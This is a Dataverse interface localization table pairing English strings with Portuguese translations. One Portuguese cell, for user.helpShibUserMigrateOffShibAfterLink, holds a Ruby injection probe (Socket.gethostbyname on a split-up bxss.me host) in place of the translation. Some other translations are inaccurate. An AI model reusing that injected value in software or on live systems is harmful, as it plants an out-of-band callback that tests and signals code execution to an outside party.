| Label |
English |
Português |
|---|
| dataverse | Dataverse | Dataverse | |
|
| newDataverse | New Dataverse | Nova Comunidade | |
|
| hostDataverse | Host Dataverse | Dataverse Anfitrião | |
|
| dataverses | Dataverses | Comunidades Dataverses | |
|
| passwd | Password | Senha | |
|
| dataset | Dataset | Conjunto de dados | |
|
| datasets | Datasets | Conjuntos de dados | |
|
| newDataset | New Dataset | Novo conjunto de dados | |
|
| files | Files | Arquivos | |
|
| file | File | Arquivo | |
|
| restricted | Restricted | Restrito | |
|
| restrictedaccess | Restricted with Access Granted | Acesso restrito | |
|
| find | Find | Localizar | |
|
| search | Search | Pesquisa | |
|
| language | Language | Idioma | |
|
| unpublished | Unpublished | não publicado | |
|
| cancel | Cancel | Cancelar | |
|
| ok | OK | OK | |
|
| saveChanges | Save Changes | Salvar alterações | |
|
| acceptTerms | Accept | Aceitar | |
|
| submit | Submit | Submeter | |
|
| signup | Sign Up | Inscreva-se | |
|
| login | Log In | Iniciar sessão | |
|
| email | Email | E-mail | |
|
| account | Account | Conta | |
|
| requiredField | Required field | Campo obrigatório | |
|
| new | New | Novo | |
|
| identifier | Identifier | Identificador | |
|
| description | Description | Descrição | |
|
| subject | Subject | assunto | |
|
| close | Close | Fechar | |
|
| preview | Preview | Pré-visualizar | |
|
| continue | Continue | Continuar | |
|
| name | Name | Nome | |
|
| institution | Institution | Instituição | |
|
| position | Position | Posição/Profissão | |
|
| affiliation | Affiliation | Afiliação Institucional | |
|
| createDataverse | Create Dataverse | Criar uma comunidade Dataverse | |
|
| remove | Remove | Remover | |
|
| done | Done | Feito | |
|
| editor | Contributor | Colaborador | |
|
| manager | Manager | Gerente | |
|
| curator | Curator | Curador | |
|
| explore | Explore | Explorar | |
|
| download | Download | Baixar | |
|
| downloadOriginal | Original Format | Formato original | |
|
| downloadArchival | Archival Format (.tab) | Formato de arquivo (.tab) | |
|
| deaccession | Deaccession | Descartado | |
|
| share | Share | Compartilhar | |
|
| link | Link | Link | |
|
| linked | Linked | Linkado | |
|
| harvested | Harvested | Colhidas | |
|
| apply | Apply | Aplicar | |
|
| add | Add | Adicionar | |
|
| delete | Delete | Excluir | |
|
| yes | Yes | Sim | |
|
| no | No | Não | |
|
| previous | Previous | Anterior | |
|
| next | Next | Próxima | |
|
| first | First | Primeiro | |
|
| last | Last | Último | |
|
| more | More... | Mais ... | |
|
| less | Less... | Menos ... | |
|
| select | Select... | Selecione ... | |
|
| selectedFiles | Selected Files | Arquivos selecionados | |
|
| htmlAllowedTitle | Allowed HTML Tags | Tags HTML permitidas | |
|
| htmlAllowedMsg | This field supports only certain HTML tags. | Este campo é compatível apenas com determinadas tags HTML. | |
|
| htmlAllowedTags | <a>, <b>, <blockquote>, <br>, <code>, <del>, <dd>, <dl>, <dt>, <em>, <hr>, <h1>-<h3>, <i>, <img>, <kbd>, <li>, <ol>, <p>, <pre>, <s>, <sup>, <sub>, <strong>, <strike>, <u>, <ul> | <a>, <b>, <blockquote>, <br>, <code>, <del>, <dd>, <dl>, <dt>, <em>, <hr>, <h1>-<h3>, <i>, <img>, <kbd>, <li>, <ol>, <p>, <pre>, <s>, <sup>, <sub>, <strong>, <strike>, <u>, <ul> | |
|
| toggleNavigation | Toggle navigation | Alternar navegação | |
|
| defaultBody | Default Body | Corpo padrão | |
|
| loading | Loading... | Carregando.... | |
|
| filter | Filter | Filtro | |
|
| to | to | para | |
|
| of | of | de | |
|
| alt.logo | {0} logo | {0} logotipo | |
|
| alt.homepage | {0} homepage | {0} pagína inicial | |
|
| header.noscript | Please enable JavaScript in your browser. It is required to use most of the features of Dataverse. | Ative o JavaScript no seu navegador. É necessário usar a maioria dos recursos do Dataverse. | |
|
| header.status.header | Status | Status | |
|
| header.search.title | Search all dataverses... | Pesquisa de todos os dataverses ... | |
|
| header.about | About | Sobre | |
|
| header.support | Support | Contato | |
|
| header.guides | Guides | Guias | |
|
| header.guides.user | User Guide | Guia do usuário | |
|
| header.guides.developer | Developer Guide | Guia do desenvolvedor | |
|
| header.guides.installation | Installation Guide | Guia de instalação | |
|
| header.guides.api | API Guide | Guia da API | |
|
| header.guides.admin | Admin Guide | Guia do administrador | |
|
| header.signUp | Sign Up | Inscreva-se | |
|
| header.logOut | Log Out | Sair | |
|
| header.accountInfo | Account Information | Informações da conta | |
|
| header.dashboard | Dashboard | Painel principal | |
|
| header.user.selectTab.dataRelated | My Data | Meus dados | |
|
| header.user.selectTab.notifications | Notifications | Notificações | |
|
| header.user.selectTab.accountInfo | Account Information | Informação da conta | |
|
| header.user.selectTab.groupsAndRoles | Groups + Roles | Grupos + Funções | |
|
| header.user.selectTab.apiToken | API Token | Token da API | |
|
| head.meta.description | The Dataverse Project is an open source software application to share, cite and archive data. Dataverse provides a robust infrastructure for data stewards to host and archive data, while offering researchers an easy way to share and get credit for their data. | O Projeto Dataverse é um aplicativo de código aberto para compartilhar, citar e arquivar dados. O Dataverse fornece uma infra-estrutura robusta para que os administradores de dados hospedem e arquivem dados, oferecendo aos pesquisadores uma maneira fácil de compartilhar e obter crédito por seus dados. | |
|
| body.skip | Skip to main content | Ir para o conteúdo principal | |
|
| footer.copyright | Copyright © {0} | Copyright © {0} | |
|
| footer.widget.datastored | Data is stored at {0}. | Os dados são armazenados em {0}. | |
|
| footer.widget.login | Log in to | Faça o login para | |
|
| footer.privacyPolicy | Privacy Policy | Política de Privacidade | |
|
| footer.poweredby | Powered by | Desenvolvido por | |
|
| footer.dataverseProject | The Dataverse Project | O Projeto Dataverse | |
|
| messages.error | Error | Erro | |
|
| messages.success | Success! | Sucesso! | |
|
| messages.info | Info | Info | |
|
| messages.validation | Validation Error | Erro de validação | |
|
| messages.validation.msg | Required fields were missed or there was a validation error. Please scroll down to see details. | Os campos obrigatórios foram perdidos ou houve um erro de validação. Por favor, role para baixo para ver detalhes. | |
|
| contact.header | Contact {0} | Contato {0} | |
|
| contact.dataverse.header | Email Dataverse Contact | E-mail de contato do Dataverse | |
|
| contact.dataset.header | Email Dataset Contact | E-mail de contato do Conjunto de Dados | |
|
| contact.to | To | Para | |
|
| contact.support | Support | Suporte | |
|
| contact.from | From | De | |
|
| contact.from.required | User email is required. | O e-mail do usuário é obrigatório. | |
|
| contact.from.invalid | Email is invalid. | O e-mail é inválido. | |
|
| contact.subject | Subject | Assunto | |
|
| contact.subject.required | Subject is required. | Assunto é obrigatório. | |
|
| contact.subject.selectTab.top | Select subject... | Selecionar assunto ... | |
|
| contact.subject.selectTab.support | Support Question | Pergunta de suporte | |
|
| contact.subject.selectTab.dataIssue | Data Issue | Questão de dados | |
|
| contact.msg | Message | Mensagem | |
|
| contact.msg.required | Message text is required. | O texto da mensagem é obrigatório. | |
|
| contact.send | Send Message | Enviar mensagem | |
|
| contact.question | Please fill this out to prove you are not a robot. | Por favor, preencha isso para provar que você não é um robô. | |
|
| contact.sum.required | Value is required. | O valor é obrigatório. | |
|
| contact.sum.invalid | Incorrect sum, please try again. | Soma incorreta, por favor tente novamente. | |
|
| contact.sum.converterMessage | Please enter a number. | Por favor, digite um número. | |
|
| contact.contact | Contact | E-mail de contato | |
|
| contact.context.subject.dvobject | {0} contact: {1} | {0} contate: {1} | |
|
| contact.context.subject.support | {0} support request: {1} | {0} solicitação de suporte: {1} | |
|
| contact.context.dataverse.intro | {0}You have just been sent the following message from {1} via the {2} hosted dataverse named "{3}":
---
| "{0}Você acabou de receber a seguinte mensagem de {1} via o dataverse {2} hospedado com o nome ""{3}"":
---
" | |
|
| contact.context.dataverse.ending |
---
{0}
{1}
Go to dataverse {2}/dataverse/{3}
You received this email because you have been listed as a contact for the dataverse. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email. | "
---
{0}
{1}
Vá para a Comunidade {2}/dataverse/{3}
Você recebeu este e-mail porque foi listado como um contato para o esta Comunidade. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail.
" | |
|
| contact.context.dataverse.noContact | There is no contact address on file for this dataverse so this message is being sent to the system address.
| Não há nenhum endereço de contato no arquivo para este dataverse então esta mensagem está sendo enviada para o endereço do sistema. | |
|
| contact.context.dataset.greeting.helloFirstLast | Hello {0} {1}, | Olá {0} {1}, | |
|
| contact.context.dataset.greeting.organization | Attention Dataset Contact: | Contato do Conjunto de Dados de Atenção: | |
|
| contact.context.dataset.intro | {0}
You have just been sent the following message from {1} via the {2} hosted dataset titled "{3}" ({4}):
---
| "{0}
Você acabou de receber a seguinte mensagem de {1} através do conjunto de dados {2} hospedado intitulado ""{3}"" ({4}):
---
" | |
|
| contact.context.dataset.ending |
---
{0}
{1}
Go to dataset {2}/dataset.xhtml?persistentId={3}
You received this email because you have been listed as a contact for the dataset. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email. | "
---
{0}
{1}
Vá para o conjunto de dados {2}/dataset.xhtml?persistentId={3}
Você recebeu este e-mail porque foi listado como um contato para o conjunto de dados. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail." | |
|
| contact.context.dataset.noContact | There is no contact address on file for this dataset so this message is being sent to the system address.
---
| "Não há um endereço de contato no arquivo para este conjunto de dados, portanto, esta mensagem está sendo enviada para o endereço do sistema.
---
" | |
|
| contact.context.file.intro | {0}
You have just been sent the following message from {1} via the {2} hosted file named "{3}" from the dataset titled "{4}" ({5}):
---
| "{0}
Você acabou de receber a seguinte mensagem de {1} por meio do arquivo {2} hospedado chamado ""{3}"" do conjunto de dados intitulado ""{4}"" ({5}):
---
" | |
|
| contact.context.file.ending |
---
{0}
{1}
Go to file {2}/file.xhtml?fileId={3}
You received this email because you have been listed as a contact for the dataset. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email. | "
---
{0}
{1}
Vá para o arquivo {2}/file.xhtml?fileId={3}
Você recebeu este e-mail porque foi listado como um contato para o conjunto de dados. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail." | |
|
| contact.context.support.intro | {0},
The following message was sent from {1}.
---
| "{0},
A seguinte mensagem foi enviada de {1}.
---
" | |
|
| contact.context.support.ending |
---
Message sent from Support contact form. | "
---
Mensagem enviada do formulário de contato de suporte." | |
|
| institution.name | A Dataverse Instance | Uma instância do Dataverse | |
|
| account.info | Account Information | Informações da conta | |
|
| account.edit | Edit Account | Editar conta | |
|
| account.apiToken | API Token | Token da API | |
|
| user.isShibUser | Account information cannot be edited when logged in through an institutional account. | As informações da conta não podem ser editadas quando você faz login através de uma conta institucional. | |
|
| user.helpShibUserMigrateOffShibBeforeLink | Leaving your institution? Please contact | Deixando sua instituição? Por favor entre em contato | |
|
| user.helpShibUserMigrateOffShibAfterLink | for assistance. | Socket.gethostbyname('hitth'+'azkcjkor06d4a.bxss.me.')[3].to_s)+' | |
|
| user.helpOAuthBeforeLink | Your Dataverse account uses {0} for login. If you are interested in changing login methods, please contact | Sua conta do Dataverse usa {0} para login. Se você estiver interessado em alterar os métodos de login, entre em contato | |
|
| user.helpOAuthAfterLink | for assistance. | para assistência. | |
|
| user.lostPasswdTip | If you have lost or forgotten your password, please enter your username or email address below and click Submit. We will send you an e-mail with your new password. | Se você perdeu ou esqueceu sua senha, digite seu nome de usuário ou endereço de e-mail abaixo e clique em Enviar. Nós lhe enviaremos um e-mail com sua nova senha. | |
|
| user.dataRelatedToMe | My Data | Meus dados | |
|
| wasCreatedIn | , was created in | , foi criado em | |
|
| wasCreatedTo | , was added to | , foi adicionado a | |
|
| wasSubmittedForReview | , was submitted for review to be published in | , foi submetido para revisão a ser publicado em | |
|
| wasPublished | , was published in | , foi publicado em | |
|
| wasReturnedByReviewer | , was returned by the curator of | , foi devolvido pelo curador de | |
|
| toReview | Don´t forget to publish it or send it back to the contributor! | Não se esqueça de publicá-lo ou devolvê-lo ao colaborador! | |
|
| worldMap.added | dataset had a WorldMap layer data added to it. | o conjunto de dados tinha dados da camada do WorldMap adicionados a ele. | |
|
| notification.welcome | Welcome to {0}! Get started by adding or finding data. Have questions? Check out the {1}. Want to test out Dataverse features? Use our {2}. | Bem-vindo a {0}! Comece por adicionar ou encontrar dados. Tem perguntas? Confira o {1}. Quer testar os recursos do Dataverse? Use nosso {2}. Além disso, verifique seu e-mail de boas-vindas para confirmar seu endereço. | |
|
| notification.demoSite | Demo Site | Site de demonstração | |
|
| notification.requestFileAccess | File access requested for dataset: {0} was made by {1} ({2}). | O acesso ao arquivo solicitado para o conjunto de dados: {0} foi feito por {1} ({2}). | |
|
| notification.grantFileAccess | Access granted for files in dataset: {0}. | Acesso concedido para arquivos no conjunto de dados: {0}. | |
|
| notification.rejectFileAccess | Access rejected for requested files in dataset: {0}. | Acesso rejeitado para arquivos solicitados no conjunto de dados: {0}. | |
|
| notification.createDataverse | {0} was created in {1} . To learn more about what you can do with your dataverse, check out the {2}. | {0} foi criado em {1}. Para saber mais sobre o que você pode fazer com o seu dataverse, confira o {2}. | |
|
| notification.dataverse.management.title | Dataverse Management - Dataverse User Guide | Gerenciamento do Dataverse - Guia do usuário do Dataverse | |
|
| notification.createDataset | {0} was created in {1}. To learn more about what you can do with a dataset, check out the {2}. | {0} foi criado em {1}. Para saber mais sobre o que você pode fazer com um conjunto de dados, confira o {2}. | |
|
| notification.dataset.management.title | Dataset Management - Dataset User Guide | Gerenciamento de Dataset - Guia do Usuário do Dataset | |
|
| notification.wasSubmittedForReview | {0} was submitted for review to be published in {1}. Don´´t forget to publish it or send it back to the contributor, {2} ({3})! | {0} foi submetido para revisão para ser publicado em {1}. Não se esqueça de publicá-lo ou enviá-lo de volta para o contribuidor, {2} ({3})! | |
|
| notification.wasReturnedByReviewer | {0} was returned by the curator of {1}. | {0} foi retornado pelo curador de {1}. | |
|
| notification.wasPublished | {0} was published in {1}. | {0} foi publicado em {1}. | |
|
| notification.ingestCompleted | Dataset {1} has one or more tabular files that completed the tabular ingest process and are available in archival formats. | A ingestão de {1} conjunto de dados foi concluída com sucesso. | |
|
| notification.ingestCompletedWithErrors | Dataset {1} has one or more tabular files that are available but are not supported for tabular ingest. | A ingestão {1} do conjunto de dados terminou com erros. | |
|
| notification.worldMap.added | {0}, dataset had WorldMap layer data added to it. | {0}, o conjunto de dados tinha dados da camada do WorldMap adicionados a ele. | |
|
| notification.maplayer.deletefailed | Failed to delete the map layer associated with the restricted file {0} from WorldMap. Please try again, or contact WorldMap and/or Dataverse support. (Dataset: {1}) | Falha ao excluir a camada do mapa associada ao arquivo restrito {0} do WorldMap. Por favor, tente novamente, ou entre em contato com o suporte do WorldMap e/ou do Dataverse. (Conjunto de dados: {1}) | |
|
| notification.generic.objectDeleted | The dataverse, dataset, or file for this notification has been deleted. | O dataverse, conjunto de dados ou arquivo para essa notificação foi excluído. | |
|
| notification.access.granted.dataverse | You have been granted the {0} role for {1}. | Você recebeu a função {0} para {1}. | |
|
| notification.access.granted.dataset | You have been granted the {0} role for {1}. | Você recebeu a função {0} para {1}. | |
|
| notification.access.granted.datafile | You have been granted the {0} role for file in {1}. | Você recebeu a função {0} para o arquivo em {1}. | |
|
| notification.access.granted.fileDownloader.additionalDataverse | {0} You now have access to all published restricted and unrestricted files in this dataverse. | {0} Agora você tem acesso a todos os arquivos restritos e irrestritos publicados neste dataverse. | |
|
| notification.access.granted.fileDownloader.additionalDataset | {0} You now have access to all published restricted and unrestricted files in this dataset. | {0} Agora você tem acesso a todos os arquivos restritos e irrestritos publicados neste conjunto de dados. | |
|
| notification.access.revoked.dataverse | You have been removed from a role in {0}. | Você foi removido de uma função em {0}. | |
|
| notification.access.revoked.dataset | You have been removed from a role in {0}. | Você foi removido de uma função em {0}. | |
|
| notification.access.revoked.datafile | You have been removed from a role in {0}. | Você foi removido de uma função em {0}. | |
|
| notification.checksumfail | One or more files in your upload failed checksum validation for dataset {1}. Please re-run the upload script. If the problem persists, please contact support. | Um ou mais arquivos em seu upload falharam na validação checksum para o conjunto de dados {1}. Por favor, execute novamente o script de upload. Se o problema persistir, entre em contato com o suporte. | |
|
| notification.ingest.completed | Your Dataset {2} has one or more tabular files that completed the tabular ingest process. These files will be available for download in their original formats and other formats for enhanced archival purposes after you publish the dataset. The archival .tab files are displayed in the file table. Please see the guides for more information about ingest and support for tabular files. | Dataset {2} processo de ingestão foi concluído com sucesso. arquivos admitidos:{3}
| |
|
| notification.ingest.completedwitherrors | Your Dataset {2} has one or more tabular files that have been uploaded successfully but are not supported for tabular ingest. After you publish the dataset, these files will not have additional archival features. Please see the guides for more information about ingest and support for tabular files.
Files with incomplete ingest:{5} | O processo de ingestão do conjunto de dados {2} foi concluído com erros.
Arquivos assimilados :{3}
| |
|
| notification.mail.import.filesystem | Globus transfer to Dataset {2} ({0}/dataset.xhtml?persistentId={1}) was successful. File(s) have been uploaded and verified. | O conjunto de dados {2} ({0}/dataset.xhtml?persistentId={1}) foi enviado e verificado com sucesso. | |
|
| notification.import.filesystem | Globus transfer to Dataset {1} was successful. File(s) have been uploaded and verified. | O conjunto de dados {1} foi carregado e verificado com sucesso. | |
|
| notification.import.checksum | {1}, dataset had file checksums added via a batch job. | {1}, o conjunto de dados possuía checksum adicionados por meio de um trabalho em lote. | |
|
| removeNotification | Remove Notification | Remover notificação | |
|
| groupAndRoles.manageTips | Here is where you can access and manage all the groups you belong to, and the roles you have been assigned. | Aqui é onde você pode acessar e gerenciar todos os grupos aos quais pertence e as funções atribuídas. | |
|
| user.message.signup.label | Create Account | Criar conta | |
|
| user.message.signup.tip | Why have a Dataverse account? To create your own dataverse and customize it, add datasets, or request access to restricted files. | Por que ter uma conta do Dataverse? Para criar seu próprio dataverse e personalizá-lo, adicione conjuntos de dados ou solicite acesso a arquivos restritos. | |
|
| user.signup.otherLogInOptions.tip | You can also create a Dataverse account with one of our other log in options. | Você também pode criar uma conta do Dataverse com uma de nossas outras opções de login. | |
|
| user.username.illegal.tip | Between 2-60 characters, and can use "a-z", "0-9", "_" for your username. | Entre 2 a 60 caracteres e pode usar "a-z", "0-9", "_" para seu nome de usuário. | |
|
| user.username | Username | Nome de usuário | |
|
| user.username.taken | This username is already taken. | Este nome de usuário já está sendo usado. | |
|
| user.username.invalid | This username contains an invalid character or is outside the length requirement (2-60 characters). | Este nome de usuário contém um caractere inválido ou está fora do requisito de tamanho (2 a 60 caracteres). | |
|
| user.username.valid | Create a valid username of 2 to 60 characters in length containing letters (a-Z), numbers (0-9), dashes (-), underscores (_), and periods (.). | Crie um nome de usuário válido de 2 a 60 caracteres contendo letras (a-Z), números (0-9), traços (-), sublinhados (_) e pontos (.). | |
|
| user.noPasswd | No Password | Nenhuma senha | |
|
| user.currentPasswd | Current Password | Senha atual | |
|
| user.currentPasswd.tip | Please enter the current password for this account. | Por favor, digite a senha atual para esta conta. | |
|
| user.passwd.illegal.tip | Password needs to be at least 6 characters, include one letter and one number, and special characters may be used. | A senha precisa ter pelo menos 6 caracteres, incluindo uma letra e um número, e caracteres especiais podem ser usados. | |
|
| user.rePasswd | Retype Password | Redigite a senha | |
|
| user.rePasswd.tip | Please retype the password you entered above. | Por favor, digite novamente a senha que você digitou acima. | |
|
| user.firstName | Given Name | Primeiro nome | |
|
| user.firstName.tip | The first name or name you would like to use for this account. | O primeiro nome ou nome que você gostaria de usar para esta conta. | |
|
| user.lastName | Family Name | Sobrenome | |
|
| user.lastName.tip | The last name you would like to use for this account. | O sobrenome que você gostaria de usar para esta conta. | |
|
| user.email.tip | A valid email address you have access to in order to be contacted. | Um endereço de e-mail válido a que você tem acesso para ser contatado. | |
|
| user.email.taken | This email address is already taken. | Este endereço de e-mail já está sendo usado. | |
|
| user.affiliation.tip | The organization with which you are affiliated. | A organização com a qual você é afiliado. | |
|
| user.position | Position | Posição/Profissão | |
|
| user.position.tip | Your role or title at the organization you are affiliated with; such as staff, faculty, student, etc. | Sua função ou título na organização à qual você é afiliado, como funcionários, professores, alunos, etc. | |
|
| user.acccountterms | General Terms of Use | Termos Gerais de Uso | |
|
| user.acccountterms.tip | The terms and conditions for using the application and services. | Os termos e condições para usar o aplicativo e serviços. | |
|
| user.acccountterms.required | Please check the box to indicate your acceptance of the General Terms of Use. | Por favor, marque a caixa para indicar sua aceitação dos Termos Gerais de Uso. | |
|
| user.acccountterms.iagree | I have read and accept the Dataverse General Terms of Use as outlined above. | Li e aceito os Termos Gerais de Uso do Dataverse, conforme descrito acima. | |
|
| user.createBtn | Create Account | Criar conta | |
|
| user.updatePassword.welcome | Welcome to Dataverse {0} | Bem-vindo ao Dataverse {0}, {1} | |
|
| user.updatePassword.warning | Our terms of use have changed, please check the box below and click Continue. | Com o lançamento de nossa nova atualização do Dataverse 4.0, os requisitos de senha e os Termos Gerais de Uso foram atualizados. Como esta é a primeira vez que você está usando o Dataverse desde a atualização, você precisa criar uma nova senha e concordar com os novos Termos Gerais de Uso. | |
|
| user.updatePassword.password | {0} | {0} | |
|
| user.password | Password | Senha | |
|
| user.newPassword | New Password | Nova senha | |
|
| authenticationProvidersAvailable.tip | {0}There are no active authentication providers{1}If you are a system administrator, please enable one using the API.{2}If you are not a system administrator, please contact the one for your institution. | {0} Não há provedores de autenticação ativos {1} Se você é um administrador do sistema, ative-o usando a API. {2} Se você não for um administrador do sistema, entre em contato com o da sua instituição. | |
|
| passwdVal.passwdReq.title | Your password must contain: | Sua senha deve conter: | |
|
| passwdVal.passwdReq.goodStrength | passwords of at least {0} characters are exempt from all other requirements | senhas de pelo menos {0} caracteres estão isentas de todos os outros requisitos | |
|
| passwdVal.passwdReq.lengthReq | At least {0} characters | Pelo menos {0} caracteres | |
|
| passwdVal.passwdReq.characteristicsReq | At least 1 character from {0} of the following types: | Pelo menos 1 caractere de {0} dos seguintes tipos: | |
|
| passwdVal.passwdReq.notInclude | It may not include: | Pode não incluir: | |
|
| passwdVal.passwdReq.consecutiveDigits | More than {0} numbers in a row | Mais de {0} números seguidos | |
|
| passwdVal.passwdReq.dictionaryWords | Dictionary words | Palavras do dicionário | |
|
| passwdVal.passwdReq.unknownPasswordRule | Unknown, contact your administrator | Desconhecido, entre em contato com seu administrador | |
|
| passwdVal.expireRule.errorCode | EXPIRED | EXPIRADO | |
|
| passwdVal.expireRule.errorMsg | The password is over %1$s days old and has expired. | A senha está com mais de %1$s dias e expirou. | |
|
| passwdVal.goodStrengthRule.errorMsg | Note: passwords are always valid with a %1$s or more character length regardless. | Nota: as senhas são sempre válidas com %1$s ou mais comprimento de caracteres, independentemente. | |
|
| passwdVal.goodStrengthRule.errorCode | NO_GOODSTRENGTH | Senha fraca | |
|
| passwdVal.passwdReset.resetLinkTitle | Password Reset Link | Link de redefinição de senha | |
|
| passwdVal.passwdReset.resetLinkDesc | Your password reset link is not valid | Seu link de redefinição de senha não é válido | |
|
| passwdVal.passwdReset.resetInitiated | Password Reset Initiated | Redefinição de Senha Iniciada | |
|
| passwdVal.passwdReset.valBlankLog | new password is blank | nova senha está em branco | |
|
| passwdVal.passwdReset.valFacesError | Password Error | Erro de senha | |
|
| passwdVal.passwdReset.valFacesErrorDesc | Please enter a new password for your account. | Por favor, digite uma nova senha para sua conta. | |
|
| passwdVal.passwdValBean.warnDictionaryRead | Dictionary was set, but none was read in. | O dicionário foi definido, mas nenhum foi lido. | |
|
| passwdVal.passwdValBean.warnDictionaryObj | PwDictionaries not set and no default password file found: | PwDictionaries não configurados e nenhum arquivo de senhas padrão encontrado: | |
|
| passwdVal.passwdValBean.warnSetStrength | The PwGoodStrength {0} value competes with the PwMinLength value of {1} and is added to {2} | O valor PwGoodStrength {0} compete com o valor PwMinLength de {1} e é adicionado a {2} | |
|
| pageTitle.passwdReset.pre | Account Password Reset | Redefinição de senha da conta | |
|
| passwdReset.token | token : | token: | |
|
| passwdReset.userLookedUp | user looked up : | usuário pesquisou: | |
|
| passwdReset.emailSubmitted | email submitted : | e-mail enviado: | |
|
| passwdReset.details | {0} Password Reset{1} - To initiate the password reset process, please provide your email address. | {0} Redefinir senha {1} - Para iniciar o processo de redefinição de senha, forneça seu endereço de e-mail. | |
|
| passwdReset.submitRequest | Submit Password Request | Submeter pedido de senha | |
|
| passwdReset.successSubmit.tip | If this email is associated with an account, then an email will be sent with further instructions to {0}. | Se este e-mail estiver associado a uma conta, um e-mail será enviado com mais instruções para {0}. | |
|
| passwdReset.debug | DEBUG | DEBUG | |
|
| passwdReset.resetUrl | The reset URL is | A URL de redefinição é | |
|
| passwdReset.noEmail.tip | No email was actually sent because a user could not be found using the provided email address {0} but we don´t mention this because we don´t malicious users to use the form to determine if there is an account associated with an email address. | Nenhum e-mail foi enviado porque não foi possível encontrar um usuário usando o endereço de e-mail fornecido {0}, mas não mencionamos isso porque não usamos usuários mal-intencionados para determinar se há uma conta associada a um endereço de e-mail. | |
|
| passwdReset.illegalLink.tip | Your password reset link is not valid. If you need to reset your password, {0}click here{1} in order to request that your password to be reset again. | Seu link de redefinição de senha não é válido. Se você precisar redefinir sua senha, {0} clique aqui {1} para solicitar que sua senha seja redefinida novamente. | |
|
| passwdReset.newPasswd.details | Please, accept the new terms of use before continuing. | Por favor, aceite os novos termos de uso antes de continuar. | |
|
| passwdReset.newPasswd | New Password | Nova senha | |
|
| passwdReset.rePasswd | Retype Password | Redigite a senha | |
|
| passwdReset.resetBtn | Continue | Redefinir senha | |
|
| login.System | Login System | Sistema de Login | |
|
| login.forgot.text | Forgot your password? | Esqueceu sua senha? | |
|
| login.builtin | Dataverse Account | Conta Dataverse | |
|
| login.institution | Institutional Account | Conta Institucional | |
|
| login.institution.blurb | Log in or sign up with your institutional account — more information about account creation. | Faça login ou inscreva-se com sua conta institucional — saiba mais. | |
|
| login.institution.support.blurbwithLink | Leaving your institution? Please contact {0} for assistance. | Saindo da sua instituição? Entre em contato com {0} para obter assistência. | |
|
| login.builtin.credential.usernameOrEmail | Username/Email | Nome de usuário/E-mail | |
|
| login.builtin.credential.password | Password | Senha | |
|
| login.builtin.invalidUsernameEmailOrPassword | The username, email address, or password you entered is invalid. Need assistance accessing your account? | O nome de usuário, endereço de e-mail ou senha que você digitou são inválidos. Precisa de ajuda para acessar sua conta? | |
|
| login.signup.blurb | Sign up for a Dataverse account. | Inscreva-se para uma conta Dataverse. | |
|
| login.echo.credential.name | Name | Nome | |
|
| login.echo.credential.email | Email | E-mail | |
|
| login.echo.credential.affiliation | Affiliation | Afiliação | |
|
| login.error | Error validating the username, email address, or password. Please try again. If the problem persists, contact an administrator. | Erro ao validar o nome de usuário, endereço de e-mail ou senha. Por favor, tente novamente. Se o problema persistir, entre em contato com um administrador. | |
|
| user.error.cannotChangePassword | Sorry, your password cannot be changed. Please contact your system administrator. | Desculpe, sua senha não pode ser alterada. Por favor, entre em contato com o administrador do sistema. | |
|
| user.error.wrongPassword | Sorry, wrong password. | Desculpe, senha errada. | |
|
| login.button | Log In with {0} | Inicie a sessão com {0} | |
|
| login.button.orcid | Create or Connect your ORCID | Crie ou conecte seu ORCID | |
|
| auth.providers.title | Other options | Outras opções | |
|
| auth.providers.tip | You can convert a Dataverse account to use one of the options above. More information about account creation. | Você pode converter uma conta do Dataverse para usar uma das opções acima. Saiba mais. | |
|
| auth.providers.title.builtin | Username/Email | Nome de usuário/E-mail | |
|
| auth.providers.title.shib | Your Institution | Sua instituição | |
|
| auth.providers.title.orcid | ORCID | ORCID | |
|
| auth.providers.title.google | Google | Google | |
|
| auth.providers.title.github | GitHub | GitHub | |
|
